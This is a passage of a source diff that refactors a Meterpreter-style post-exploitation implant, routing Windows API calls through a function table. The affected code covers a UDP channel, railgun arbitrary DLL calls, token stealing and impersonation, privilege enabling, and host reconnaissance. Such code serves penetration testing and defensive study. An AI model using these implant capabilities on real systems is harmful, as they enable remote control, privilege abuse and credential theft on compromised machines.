met_api->win_api.ws2_32.inet_ntoa(saddr.sin_addr), met_api->win_api.ws2_32.ntohs(saddr.sin_port) ); - dwWritten = sendto( ctx->sock.fd, buffer, dwBufferSize, 0, (SOCKADDR *)&saddr, sizeof(SOCKADDR_IN) ); + dwWritten = met_api->win_api.ws2_32.sendto( ctx->sock.fd, buffer, dwBufferSize, 0, (SOCKADDR *)&saddr, sizeof(SOCKADDR_IN) ); if( dwWritten == SOCKET_ERROR ) { - dwResult = WSAGetLastError(); + dwResult = met_api->win_api.ws2_32.WSAGetLastError(); if( dwResult == WSAEWOULDBLOCK ) { @@ -71,7 +71,7 @@ DWORD udp_channel_write( Channel * channel, Packet * request, LPVOID context, LP FD_ZERO( &set ); FD_SET( ctx->sock.fd, &set ); - res = select( 0, NULL, &set, NULL, &tv ); + res = met_api->win_api.ws2_32.select( 0, NULL, &set, NULL, &tv ); if( res > 0 ) { dwResult = ERROR_SUCCESS; @@ -79,11 +79,11 @@ DWORD udp_channel_write( Channel * channel, Packet * request, LPVOID context, LP } else if( res == SOCKET_ERROR ) { - dwResult = WSAGetLastError(); + dwResult = met_api->win_api.ws2_32.WSAGetLastError(); break; } - Sleep( 100 ); + met_api->win_api.kernel32.Sleep( 100 ); } if( dwResult == ERROR_SUCCESS ) @@ -116,7 +116,7 @@ VOID free_udp_context( UdpSocketContext * ctx ) // Close the socket and notification handle if( ctx->sock.fd ) { - closesocket( ctx->sock.fd ); + met_api->win_api.ws2_32.closesocket( ctx->sock.fd ); ctx->sock.fd = 0; } @@ -145,20 +145,20 @@ DWORD udp_channel_notify( Remote * remote, UdpClientContext * ctx ) { DWORD dwResult = ERROR_SUCCESS; SOCKADDR_IN from = {0}; - DWORD dwFromLength = 0; + int dwFromLength = 0; DWORD dwBytesRead = 0; BYTE bBuffer[65535]; do { - ResetEvent( ctx->sock.notify ); + met_api->win_api.kernel32.ResetEvent( ctx->sock.notify ); dwFromLength = sizeof( SOCKADDR_IN ); - dwBytesRead = recvfrom( ctx->sock.fd, bBuffer, 65535, 0, (SOCKADDR *)&from, &dwFromLength ); + dwBytesRead = met_api->win_api.ws2_32.recvfrom( ctx->sock.fd, bBuffer, 65535, 0, (SOCKADDR *)&from, &dwFromLength ); if( dwBytesRead == SOCKET_ERROR ) { - DWORD dwError = WSAGetLastError(); + DWORD dwError = met_api->win_api.ws2_32.WSAGetLastError(); if( dwError == WSAECONNRESET ) { @@ -180,7 +180,7 @@ DWORD udp_channel_notify( Remote * remote, UdpClientContext * ctx ) met_api->channel.set_native_io_context( ctx->sock.channel, NULL ); - Sleep( 250 ); + met_api->win_api.kernel32.Sleep( 250 ); free_udp_context( ctx ); @@ -195,11 +195,11 @@ DWORD udp_channel_notify( Remote * remote, UdpClientContext * ctx ) if( !ctx->sock.channel ) break; - cpPeerHost = inet_ntoa( from.sin_addr ); + cpPeerHost = met_api->win_api.ws2_32.inet_ntoa( from.sin_addr ); if( !cpPeerHost ) cpPeerHost = "0.0.0.0"; - dwPeerPort = htonl( ntohs( from.sin_port ) ); + dwPeerPort = met_api->win_api.ws2_32.htonl( met_api->win_api.ws2_32.ntohs( from.sin_port ) ); addend[0].header.type = TLV_TYPE_PEER_HOST; addend[0].header.length = (DWORD)(strlen(cpPeerHost) + 1); @@ -209,7 +209,7 @@ DWORD udp_channel_notify( Remote * remote, UdpClientContext * ctx ) addend[1].header.length = sizeof(DWORD); addend[1].buffer = (PUCHAR)&dwPeerPort; - dprintf( "[UDP] udp_channel_notify. Data on channel=0x%08X, read %d bytes from %s:%d", ctx->sock.channel, dwBytesRead, cpPeerHost, ntohs( from.sin_port ) ); + dprintf( "[UDP] udp_channel_notify. Data on channel=0x%08X, read %d bytes from %s:%d", ctx->sock.channel, dwBytesRead, cpPeerHost, met_api->win_api.ws2_32.ntohs( from.sin_port ) ); met_api->channel.write( ctx->sock.channel, ctx->sock.remote, addend, 2, bBuffer, dwBytesRead, NULL ); } @@ -286,7 +286,7 @@ DWORD request_net_udp_channel_open( Remote * remote, Packet * packet ) lhost = met_api->packet.get_tlv_value_string( packet, TLV_TYPE_LOCAL_HOST ); if( lhost ) - ctx->localhost.s_addr = inet_addr( lhost ); + ctx->localhost.s_addr = met_api->win_api.ws2_32.inet_addr( lhost ); else ctx->localhost.s_addr = INADDR_ANY; @@ -294,26 +294,42 @@ DWORD request_net_udp_channel_open( Remote * remote, Packet * packet ) if( phost ) { dprintf( "[UDP] request_net_udp_channel_open. phost=%s", phost ); - ctx->peerhost.s_addr = inet_addr( phost ); + ctx->peerhost.s_addr = met_api->win_api.ws2_32.inet_addr( phost ); } - ctx->sock.fd = WSASocket( AF_INET, SOCK_DGRAM, IPPROTO_UDP, 0, 0, 0 ); + ctx->sock.fd = met_api->win_api.ws2_32.WSASocketA( AF_INET, SOCK_DGRAM, IPPROTO_UDP, 0, 0, 0 ); if( ctx->sock.fd == INVALID_SOCKET ) - BREAK_ON_WSAERROR( "[UDP] request_net_udp_channel_open. WSASocket failed" ); + { + dwResult = met_api->win_api.ws2_32.WSAGetLastError(); + dprintf( "[UDP] request_net_udp_channel_open. WSASocket failed. error=%d (0x%x)", dwResult, (ULONG_PTR)dwResult ); + break; + } saddr.sin_family = AF_INET; - saddr.sin_port = htons( ctx->localport ); + saddr.sin_port = met_api->win_api.ws2_32.htons( ctx->localport ); saddr.sin_addr.s_addr = ctx->localhost.s_addr; - if( bind( ctx->sock.fd, (SOCKADDR *)&saddr, sizeof(SOCKADDR_IN) ) == SOCKET_ERROR ) - BREAK_ON_WSAERROR( "[UDP] request_net_udp_channel_open. bind failed" ); + if( met_api->win_api.ws2_32.bind( ctx->sock.fd, (SOCKADDR *)&saddr, sizeof(SOCKADDR_IN) ) == SOCKET_ERROR ) + { + dwResult = met_api->win_api.ws2_32.WSAGetLastError(); + dprintf( "[UDP] request_net_udp_channel_open. bind failed. error=%d (0x%x)", dwResult, (ULONG_PTR)dwResult ); + break; + } - ctx->sock.notify = WSACreateEvent(); + ctx->sock.notify = met_api->win_api.ws2_32.WSACreateEvent(); if( ctx->sock.notify == WSA_INVALID_EVENT ) - BREAK_ON_WSAERROR( "[UDP] request_net_udp_channel_open. WSACreateEvent failed" ); + { + dwResult = met_api->win_api.ws2_32.WSAGetLastError(); + dprintf( "[UDP] request_net_udp_channel_open. WSACreateEvent failed. error=%d (0x%x)", dwResult, (ULONG_PTR)dwResult ); + break; + } - if( WSAEventSelect( ctx->sock.fd, ctx->sock.notify, FD_READ ) == SOCKET_ERROR ) - BREAK_ON_WSAERROR( "[UDP] request_net_udp_channel_open. WSAEventSelect failed" ); + if( met_api->win_api.ws2_32.WSAEventSelect( ctx->sock.fd, ctx->sock.notify, FD_READ ) == SOCKET_ERROR ) + { + dwResult = met_api->win_api.ws2_32.WSAGetLastError(); + dprintf( "[UDP] request_net_udp_channel_open. WSAEventSelect failed. error=%d (0x%x)", dwResult, (ULONG_PTR)dwResult ); + break; + } memset( &chops, 0, sizeof(DatagramChannelOps) ); chops.native.context = ctx; @@ -329,7 +345,7 @@ DWORD request_net_udp_channel_open( Remote * remote, Packet * packet ) met_api->packet.add_tlv_uint( response, TLV_TYPE_CHANNEL_ID, met_api->channel.get_id(ctx->sock.channel) ); net_tlv_pack_local_addrinfo( &ctx->sock, response ); - dprintf( "[UDP] request_net_udp_channel_open. UDP socket on channel %d (The local specified was %s:%d ) (The peer specified was %s:%d)", met_api->channel.get_id( ctx->sock.channel ), inet_ntoa( ctx->localhost ), ctx->localport, inet_ntoa( ctx->peerhost ), ctx->peerport ); + dprintf( "[UDP] request_net_udp_channel_open. UDP socket on channel %d (The local specified was %s:%d ) (The peer specified was %s:%d)", met_api->channel.get_id( ctx->sock.channel ), met_api->win_api.ws2_32.inet_ntoa( ctx->localhost ), ctx->localport, met_api->win_api.ws2_32.inet_ntoa( ctx->peerhost ), ctx->peerport ); } while( 0 ); @@ -344,7 +360,7 @@ DWORD request_net_udp_channel_open( Remote * remote, Packet * packet ) break; if( ctx->sock.fd ) - closesocket( ctx->sock.fd ); + met_api->win_api.ws2_32.closesocket( ctx->sock.fd ); if( ctx->sock.channel ) met_api->channel.destroy( ctx->sock.channel, packet ); diff --git a/c/meterpreter/source/extensions/stdapi/server/railgun/railgun.c b/c/meterpreter/source/extensions/stdapi/server/railgun/railgun.c index 67c18f186..89f565051 100644 --- a/c/meterpreter/source/extensions/stdapi/server/railgun/railgun.c +++ b/c/meterpreter/source/extensions/stdapi/server/railgun/railgun.c @@ -129,13 +129,13 @@ DWORD railgun_call( RAILGUN_INPUT * pInput, RAILGUN_OUTPUT * pOutput ) #endif // get address of function - hDll = LoadLibraryA( pInput->cpDllName ); // yes this increases the counter. lib should never be released. maybe the user just did a WSAStartup etc. + hDll = met_api->win_api.kernel32.LoadLibraryA( pInput->cpDllName ); // yes this increases the counter. lib should never be released. maybe the user just did a WSAStartup etc. if( !hDll ) - BREAK_ON_ERROR( "[RAILGUN] railgun_call: LoadLibraryA Failed." ); + BREAK_WITH_ERROR( "[RAILGUN] railgun_call: LoadLibraryA Failed.", met_api->win_api.kernel32.GetLastError() ); - pFuncAddr = (VOID *)GetProcAddress( hDll, pInput->cpFuncName ); + pFuncAddr = (VOID *)met_api->win_api.kernel32.GetProcAddress( hDll, pInput->cpFuncName ); if( !pFuncAddr ) - BREAK_ON_ERROR( "[RAILGUN] railgun_call: GetProcAddress Failed." ); + BREAK_WITH_ERROR( "[RAILGUN] railgun_call: GetProcAddress Failed.", met_api->win_api.kernel32.GetLastError() ); if( ( pInput->pStackDescriptorTlv.header.length % ( 2 * sizeof(ULONG_PTR) ) ) != 0 ) dprintf( "[RAILGUN] railgun_call: Warning: blob size makes no sense." ); @@ -213,7 +213,7 @@ DWORD railgun_call( RAILGUN_INPUT * pInput, RAILGUN_OUTPUT * pOutput ) dprintf( "[RAILGUN] railgun_call: Calling %s!%s @ 0x%08X...", pInput->cpDllName, pInput->cpFuncName, pFuncAddr ); #endif - SetLastError( ERROR_SUCCESS ); + met_api->win_api.kernel32.SetLastError( ERROR_SUCCESS ); __try { @@ -250,7 +250,7 @@ DWORD railgun_call( RAILGUN_INPUT * pInput, RAILGUN_OUTPUT * pOutput ) default: dprintf( "[RAILGUN] railgun_call: Can't call function: dwStackSizeInElements (%d) is > 25", dwStackSizeInElements ); pOutput->qwReturnValue = -1; - SetLastError( ERROR_INVALID_PARAMETER ); + met_api->win_api.kernel32.SetLastError( ERROR_INVALID_PARAMETER ); break; } #else @@ -289,7 +289,7 @@ DWORD railgun_call( RAILGUN_INPUT * pInput, RAILGUN_OUTPUT * pOutput ) default: dprintf( "[RAILGUN] railgun_call: Can't call function: dwStackSizeInElements (%d) is > 25", dwStackSizeInElements ); pOutput->qwReturnValue = -1; - SetLastError( ERROR_INVALID_PARAMETER ); + met_api->win_api.kernel32.SetLastError( ERROR_INVALID_PARAMETER ); break; } } else { // STDCALL @@ -325,7 +325,7 @@ DWORD railgun_call( RAILGUN_INPUT * pInput, RAILGUN_OUTPUT * pOutput ) default: dprintf( "[RAILGUN] railgun_call: Can't call function: dwStackSizeInElements (%d) is > 25", dwStackSizeInElements ); pOutput->qwReturnValue = -1; - SetLastError( ERROR_INVALID_PARAMETER ); + met_api->win_api.kernel32.SetLastError( ERROR_INVALID_PARAMETER ); break; } } @@ -336,11 +336,11 @@ DWORD railgun_call( RAILGUN_INPUT * pInput, RAILGUN_OUTPUT * pOutput ) { dprintf("[RAILGUN] railgun_call: EXCEPTION RAISED!!!" ); pOutput->qwReturnValue = -1; - SetLastError( ERROR_UNHANDLED_EXCEPTION ); + met_api->win_api.kernel32.SetLastError( ERROR_UNHANDLED_EXCEPTION ); } - pOutput->dwLastError = GetLastError(); - dwNumChars = FormatMessageA(dwMsgFlags, hDll, pOutput->dwLastError, dwLangId, (LPSTR)&buffer, 0, NULL); + pOutput->dwLastError = met_api->win_api.kernel32.GetLastError(); + dwNumChars = met_api->win_api.kernel32.FormatMessageA(dwMsgFlags, hDll, pOutput->dwLastError, dwLangId, (LPSTR)&buffer, 0, NULL); pOutput->pErrMsg = buffer; #ifdef _WIN64 @@ -354,7 +354,7 @@ DWORD railgun_call( RAILGUN_INPUT * pInput, RAILGUN_OUTPUT * pOutput ) if( pStack ) free( pStack ); - SetLastError( dwResult ); + met_api->win_api.kernel32.SetLastError( dwResult ); return dwResult; } @@ -391,7 +391,7 @@ DWORD request_railgun_api_multi( Remote * remote, Packet * packet ) break; } - rInput.dwBufferSizeOUT = ntohl( *(LPDWORD)tmpTlv.buffer ); + rInput.dwBufferSizeOUT = met_api->win_api.ws2_32.ntohl( *(LPDWORD)tmpTlv.buffer ); rInput.pBufferIN = getRawDataCopyFromGroup( packet, &reqTlv, TLV_TYPE_RAILGUN_BUFFERBLOB_IN, (DWORD *)&rInput.dwBufferSizeIN ); if( !rInput.pBufferIN ) @@ -458,8 +458,10 @@ DWORD request_railgun_api_multi( Remote * remote, Packet * packet ) if( dwResult == ERROR_SUCCESS ) { - rOutput.dwLastError = htonl( rOutput.dwLastError ); - rOutput.qwReturnValue = htonq( rOutput.qwReturnValue ); + rOutput.dwLastError = met_api->win_api.ws2_32.htonl( rOutput.dwLastError ); + rOutput.qwReturnValue = + ((QWORD)met_api->win_api.ws2_32.ntohl(rOutput.qwReturnValue & 0xFFFFFFFF) << 32) | + met_api->win_api.ws2_32.ntohl(rOutput.qwReturnValue >> 32); tlvs[1].header.length = sizeof(DWORD); tlvs[1].header.type = TLV_TYPE_RAILGUN_BACK_ERR; @@ -494,7 +496,7 @@ DWORD request_railgun_api_multi( Remote * remote, Packet * packet ) // FormatMessage calls that use the FORMAT_MESSAGE_ALLOCATE_BUFFER flag allocate memory using LocalAlloc(). // We need to free this memory up here to prevent leaks. if ( rOutput.pErrMsg != NULL ) - LocalFree( (HLOCAL)rOutput.pErrMsg ); + met_api->win_api.kernel32.LocalFree( (HLOCAL)rOutput.pErrMsg ); } met_api->packet.transmit_response( ERROR_SUCCESS, remote, response ); @@ -599,7 +601,7 @@ DWORD request_railgun_api( Remote * pRemote, Packet * pPacket ) // FormatMessage calls that use the FORMAT_MESSAGE_ALLOCATE_BUFFER flag allocate memory using LocalAlloc(). // We need to free this memory up here to prevent leaks. if ( rOutput.pErrMsg != NULL ) - LocalFree( (HLOCAL)rOutput.pErrMsg ); + met_api->win_api.kernel32.LocalFree( (HLOCAL)rOutput.pErrMsg ); dprintf("[RAILGUN] request_railgun_api: Finished."); diff --git a/c/meterpreter/source/extensions/stdapi/server/sys/config/config.c b/c/meterpreter/source/extensions/stdapi/server/sys/config/config.c index 10c2d7aec..554764ade 100755 --- a/c/meterpreter/source/extensions/stdapi/server/sys/config/config.c +++ b/c/meterpreter/source/extensions/stdapi/server/sys/config/config.c @@ -5,9 +5,7 @@ #include #include -typedef NTSTATUS(WINAPI *PRtlGetVersion)(LPOSVERSIONINFOEXW); - -// This may not be defined on some older systems in the header files, so lets define it here manually. +// This may not be defined on some older systems in the header files, so lets define it here manually. #ifndef SE_DELEGATE_SESSION_USER_IMPERSONATE_NAME #define SE_DELEGATE_SESSION_USER_IMPERSONATE_NAME TEXT("SeDelegateSessionUserImpersonatePrivilege") #endif @@ -93,7 +91,7 @@ DWORD request_sys_config_getenv(Remote *remote, Packet *packet) // grab the value of the variable and stick it in the response. PWCHAR name = met_api->string.utf8_to_wchar(pEnvVarStart); //Ensure we always have > 0 bytes even if env var doesn't exist - DWORD envlen = GetEnvironmentVariableW(name, NULL, 0); + DWORD envlen = met_api->win_api.kernel32.GetEnvironmentVariableW(name, NULL, 0); if (envlen == 0) { @@ -102,7 +100,7 @@ DWORD request_sys_config_getenv(Remote *remote, Packet *packet) else { PWCHAR wvalue = (PWCHAR)malloc(envlen * sizeof(WCHAR)); - GetEnvironmentVariableW(name, wvalue, envlen); + met_api->win_api.kernel32.GetEnvironmentVariableW(name, wvalue, envlen); char* value = met_api->string.wchar_to_utf8(wvalue); add_env_pair(response, pEnvVarStart, value); free(wvalue); @@ -134,17 +132,17 @@ DWORD get_user_token(LPVOID pTokenUser, DWORD dwBufferSize) do { - if (!OpenThreadToken(GetCurrentThread(), TOKEN_QUERY, FALSE, &hToken)) + if (!met_api->win_api.advapi32.OpenThreadToken(met_api->win_api.kernel32.GetCurrentThread(), TOKEN_QUERY, FALSE, &hToken)) { - if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) + if (!met_api->win_api.advapi32.OpenProcessToken(met_api->win_api.kernel32.GetCurrentProcess(), TOKEN_QUERY, &hToken)) { - BREAK_ON_ERROR("[TOKEN] Failed to get a valid token for thread/process."); + BREAK_WITH_ERROR("[TOKEN] Failed to get a valid token for thread/process.", met_api->win_api.kernel32.GetLastError()); } } - if (!GetTokenInformation(hToken, TokenUser, pTokenUser, dwBufferSize, &dwReturnedLength)) + if (!met_api->win_api.advapi32.GetTokenInformation(hToken, TokenUser, pTokenUser, dwBufferSize, &dwReturnedLength)) { - BREAK_ON_ERROR("[TOKEN] Failed to get token information for thread/process."); + BREAK_WITH_ERROR("[TOKEN] Failed to get token information for thread/process.", met_api->win_api.kernel32.GetLastError()); } dwResult = ERROR_SUCCESS; @@ -174,9 +172,9 @@ DWORD request_sys_config_getsid(Remote* pRemote, Packet* pRequest) break; } - if (!ConvertSidToStringSidA(((TOKEN_USER*)tokenUserInfo)->User.Sid, &pSid)) + if (!met_api->win_api.advapi32.ConvertSidToStringSidA(((TOKEN_USER*)tokenUserInfo)->User.Sid, &pSid)) { - BREAK_ON_ERROR("[GETSID] Unable to convert current SID to string"); + BREAK_WITH_ERROR("[GETSID] Unable to convert current SID to string", met_api->win_api.kernel32.GetLastError()); } } while (0); @@ -184,7 +182,7 @@ DWORD request_sys_config_getsid(Remote* pRemote, Packet* pRequest) if (pSid != NULL) { met_api->packet.add_tlv_string(pResponse, TLV_TYPE_SID, pSid); - LocalFree(pSid); + met_api->win_api.kernel32.LocalFree(pSid); } met_api->packet.transmit_response(dwResult, pRemote, pResponse); @@ -221,9 +219,9 @@ DWORD populate_uid(Packet* pResponse) break; } - if (!LookupAccountSidW(NULL, ((TOKEN_USER*)tokenUserInfo)->User.Sid, cbUserOnly, &dwUserSize, cbDomainOnly, &dwDomainSize, (PSID_NAME_USE)&dwSidType)) + if (!met_api->win_api.advapi32.LookupAccountSidW(NULL, ((TOKEN_USER*)tokenUserInfo)->User.Sid, cbUserOnly, &dwUserSize, cbDomainOnly, &dwDomainSize, (PSID_NAME_USE)&dwSidType)) { - BREAK_ON_ERROR("[GETUID] Failed to lookup the account SID data"); + BREAK_WITH_ERROR("[GETUID] Failed to lookup the account SID data", met_api->win_api.kernel32.GetLastError()); } char *domainName = met_api->string.wchar_to_utf8(cbDomainOnly); @@ -297,9 +295,9 @@ DWORD request_sys_config_update_token(Remote* pRemote, Packet* pPacket) hToken = (HANDLE)met_api->packet.get_tlv_value_qword(pPacket, TLV_TYPE_HANDLE); // Impersonate token in the current thread - if (!ImpersonateLoggedOnUser(hToken)) + if (!met_api->win_api.advapi32.ImpersonateLoggedOnUser(hToken)) { - dwResult = GetLastError(); + dwResult = met_api->win_api.kernel32.GetLastError(); dprintf("[UPDATE-TOKEN] Failed to impersonate token (%u)", dwResult); met_api->packet.transmit_response(dwResult, pRemote, pResponse); return dwResult; @@ -394,9 +392,9 @@ DWORD request_sys_config_getprivs(Remote *remote, Packet *packet) do { - if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token)) + if (!met_api->win_api.advapi32.OpenProcessToken(met_api->win_api.kernel32.GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token)) { - res = GetLastError(); + res = met_api->win_api.kernel32.GetLastError(); dprintf("[GETPRIVS] Failed to open the process token: %u 0x%x", res, res); break; } @@ -404,12 +402,12 @@ DWORD request_sys_config_getprivs(Remote *remote, Packet *packet) for (x = 0; privs[x]; ++x) { memset(&priv, 0, sizeof(priv)); - LookupPrivilegeValue(NULL, privs[x], &priv.Privileges[0].Luid); + met_api->win_api.advapi32.LookupPrivilegeValueA(NULL, privs[x], &priv.Privileges[0].Luid); priv.PrivilegeCount = 1; priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; - if (AdjustTokenPrivileges(token, FALSE, &priv, 0, 0, 0)) + if (met_api->win_api.advapi32.AdjustTokenPrivileges(token, FALSE, &priv, 0, 0, 0)) { - if (GetLastError() == ERROR_SUCCESS) + if (met_api->win_api.kernel32.GetLastError() == ERROR_SUCCESS) { dprintf("[GETPRIVS] Got Priv %s", privs[x]); met_api->packet.add_tlv_string(response, TLV_TYPE_PRIVILEGE, privs[x]); @@ -417,14 +415,14 @@ DWORD request_sys_config_getprivs(Remote *remote, Packet *packet) } else { - dprintf("[GETPRIVS] Failed to set privilege %s (%u)", privs[x], GetLastError()); + dprintf("[GETPRIVS] Failed to set privilege %s (%u)", privs[x], met_api->win_api.kernel32.GetLastError()); } } } while (0); if (token) { - CloseHandle(token); + met_api->win_api.kernel32.CloseHandle(token); } // Transmit the response @@ -460,32 +458,32 @@ DWORD request_sys_config_steal_token(Remote *remote, Packet *packet) break; } - hProcessHandle = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwPid); + hProcessHandle = met_api->win_api.kernel32.OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwPid); if (!hProcessHandle) { - dwResult = GetLastError(); + dwResult = met_api->win_api.kernel32.GetLastError(); dprintf("[STEAL-TOKEN] Failed to open process handle for %d (%u)", dwPid, dwResult); break; } - if (!OpenProcessToken(hProcessHandle, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, &hToken)) + if (!met_api->win_api.advapi32.OpenProcessToken(hProcessHandle, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, &hToken)) { - dwResult = GetLastError(); + dwResult = met_api->win_api.kernel32.GetLastError(); dprintf("[STEAL-TOKEN] Failed to open process token for %d (%u)", dwPid, dwResult); break; } - if (!ImpersonateLoggedOnUser(hToken)) + if (!met_api->win_api.advapi32.ImpersonateLoggedOnUser(hToken)) { - dwResult = GetLastError(); + dwResult = met_api->win_api.kernel32.GetLastError(); dprintf("[STEAL-TOKEN] Failed to impersonate token for %d (%u)", dwPid, dwResult); break; } - if (!DuplicateTokenEx(hToken, TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID | TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY, NULL, SecurityIdentification, TokenPrimary, &hDupToken)) + if (!met_api->win_api.advapi32.DuplicateTokenEx(hToken, TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID | TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY, NULL, SecurityIdentification, TokenPrimary, &hDupToken)) { - dwResult = GetLastError(); + dwResult = met_api->win_api.kernel32.GetLastError(); dprintf("[STEAL-TOKEN] Failed to duplicate a primary token for %d (%u)", dwPid, dwResult); break; } @@ -499,12 +497,12 @@ DWORD request_sys_config_steal_token(Remote *remote, Packet *packet) if (hProcessHandle) { - CloseHandle(hProcessHandle); + met_api->win_api.kernel32.CloseHandle(hProcessHandle); } if (hToken) { - CloseHandle(hToken); + met_api->win_api.kernel32.CloseHandle(hToken); } // Transmit the response met_api->packet.transmit_response(dwResult, remote, response); @@ -517,24 +515,12 @@ DWORD add_windows_os_version(Packet** packet) DWORD dwResult = ERROR_SUCCESS; CHAR buffer[512] = { 0 }; - do - { - HMODULE hNtdll = GetModuleHandleA("ntdll"); - if (hNtdll == NULL) - { - BREAK_ON_ERROR("[SYSINFO] Failed to load ntoskrnl"); - } - - PRtlGetVersion pRtlGetVersion = (PRtlGetVersion)GetProcAddress(hNtdll, "RtlGetVersion"); - if (pRtlGetVersion == NULL) - { - BREAK_ON_ERROR("[SYSINFO] Couldn't find RtlGetVersion in ntoskrnl"); - } - - OSVERSIONINFOEXW v = { 0 }; - v.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEXW); - - if (0 != pRtlGetVersion(&v)) + do + { + OSVERSIONINFOEXW v = { 0 }; + v.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEXW); + + if (0 != met_api->win_api.ntdll.RtlGetVersion(&v)) { dwResult = ERROR_INVALID_DLL; dprintf("[SYSINFO] Unable to get OS version with RtlGetVersion"); @@ -723,8 +709,8 @@ DWORD request_sys_config_localtime(Remote* remote, Packet* packet) TIME_ZONE_INFORMATION tzi = { 0 }; SYSTEMTIME localTime = { 0 }; - DWORD tziResult = GetTimeZoneInformation(&tzi); - GetLocalTime(&localTime); + DWORD tziResult = met_api->win_api.kernel32.GetTimeZoneInformation(&tzi); + met_api->win_api.kernel32.GetLocalTime(&localTime); _snprintf_s(dateTime, sizeof(dateTime), sizeof(dateTime) - 1, "%d-%02d-%02d %02d:%02d:%02d.%d %S (UTC%s%d)", localTime.wYear, localTime.wMonth, localTime.wDay, @@ -751,9 +737,8 @@ DWORD request_sys_config_sysinfo(Remote *remote, Packet *packet) { Packet *response = met_api->packet.create_response(packet); CHAR computer[512], buf[512], * osArch = NULL; - DWORD res = ERROR_SUCCESS; - DWORD size = sizeof(computer); - HMODULE hKernel32; + DWORD res = ERROR_SUCCESS; + DWORD size = sizeof(computer); memset(computer, 0, sizeof(computer)); memset(buf, 0, sizeof(buf)); @@ -761,43 +746,33 @@ DWORD request_sys_config_sysinfo(Remote *remote, Packet *packet) do { // Get the computer name - if (!GetComputerName(computer, &size)) + if (!met_api->win_api.kernel32.GetComputerNameA(computer, &size)) { - res = GetLastError(); + res = met_api->win_api.kernel32.GetLastError(); break; } met_api->packet.add_tlv_string(response, TLV_TYPE_COMPUTER_NAME, computer); add_windows_os_version(&response); - // sf: we dynamically retrieve GetNativeSystemInfo & IsWow64Process as NT and 2000 dont support it. - hKernel32 = LoadLibraryA("kernel32.dll"); - if (hKernel32) - { - typedef void (WINAPI * GETNATIVESYSTEMINFO)(LPSYSTEM_INFO lpSystemInfo); - typedef BOOL(WINAPI * ISWOW64PROCESS)(HANDLE, PBOOL); - GETNATIVESYSTEMINFO pGetNativeSystemInfo = (GETNATIVESYSTEMINFO)GetProcAddress(hKernel32, "GetNativeSystemInfo"); - ISWOW64PROCESS pIsWow64Process = (ISWOW64PROCESS)GetProcAddress(hKernel32, "IsWow64Process"); - if (pGetNativeSystemInfo) - { - SYSTEM_INFO SystemInfo; - pGetNativeSystemInfo(&SystemInfo); - switch (SystemInfo.wProcessorArchitecture) - { - case PROCESSOR_ARCHITECTURE_AMD64: - osArch = "x64"; - break; - case PROCESSOR_ARCHITECTURE_IA64: - osArch = "IA64"; - break; - case PROCESSOR_ARCHITECTURE_INTEL: - osArch = "x86"; - break; - default: - break; - } - } - } + { + SYSTEM_INFO SystemInfo = { 0 }; + met_api->win_api.kernel32.GetNativeSystemInfo(&SystemInfo); + switch (SystemInfo.wProcessorArchitecture) + { + case PROCESSOR_ARCHITECTURE_AMD64: + osArch = "x64"; + break; + case PROCESSOR_ARCHITECTURE_IA64: + osArch = "IA64"; + break; + case PROCESSOR_ARCHITECTURE_INTEL: + osArch = "x86"; + break; + default: + break; + } + } // if we havnt set the arch it is probably because we are on NT/2000 which is x86 if (!osArch) { @@ -807,27 +782,23 @@ DWORD request_sys_config_sysinfo(Remote *remote, Packet *packet) dprintf("[SYSINFO] Arch set to: %s", osArch); met_api->packet.add_tlv_string(response, TLV_TYPE_ARCHITECTURE, osArch); - if (hKernel32) - { - char * ctryname = NULL, *langname = NULL; - typedef LANGID(WINAPI * GETSYSTEMDEFAULTLANGID)(VOID); - GETSYSTEMDEFAULTLANGID pGetSystemDefaultLangID = (GETSYSTEMDEFAULTLANGID)GetProcAddress(hKernel32, "GetSystemDefaultLangID"); - if (pGetSystemDefaultLangID) - { - LANGID langId = pGetSystemDefaultLangID(); - - int len = GetLocaleInfo(langId, LOCALE_SISO3166CTRYNAME, 0, 0); + { + LANGID langId = met_api->win_api.kernel32.GetSystemDefaultLangID(); + char * ctryname = NULL, *langname = NULL; + if (langId != 0) + { + int len = met_api->win_api.kernel32.GetLocaleInfoA(langId, LOCALE_SISO3166CTRYNAME, 0, 0); if (len > 0) { ctryname = (char *)malloc(len); - GetLocaleInfo(langId, LOCALE_SISO3166CTRYNAME, ctryname, len); + met_api->win_api.kernel32.GetLocaleInfoA(langId, LOCALE_SISO3166CTRYNAME, ctryname, len); } - len = GetLocaleInfo(langId, LOCALE_SISO639LANGNAME, 0, 0); + len = met_api->win_api.kernel32.GetLocaleInfoA(langId, LOCALE_SISO639LANGNAME, 0, 0); if (len > 0) { langname = (char *)malloc(len); - GetLocaleInfo(langId, LOCALE_SISO639LANGNAME, langname, len); + met_api->win_api.kernel32.GetLocaleInfoA(langId, LOCALE_SISO639LANGNAME, langname, len); } } @@ -855,13 +826,13 @@ DWORD request_sys_config_sysinfo(Remote *remote, Packet *packet) LPWKSTA_INFO_102 localSysinfo = NULL; - if (NetWkstaGetInfo(NULL, 102, (LPBYTE *)&localSysinfo) == NERR_Success) + if (met_api->win_api.netapi32.NetWkstaGetInfo(NULL, 102, (LPBYTE *)&localSysinfo) == NERR_Success) { char *domainName = met_api->string.wchar_to_utf8(localSysinfo->wki102_langroup); met_api->packet.add_tlv_string(response, TLV_TYPE_DOMAIN, (LPCSTR)domainName); met_api->packet.add_tlv_uint(response, TLV_TYPE_LOGGED_ON_USER_COUNT, localSysinfo->wki102_logged_on_users); free(domainName); - NetApiBufferFree(localSysinfo); + met_api->win_api.netapi32.NetApiBufferFree(localSysinfo); } else { @@ -899,8 +870,8 @@ DWORD request_sys_config_rev2self(Remote *remote, Packet *packet) 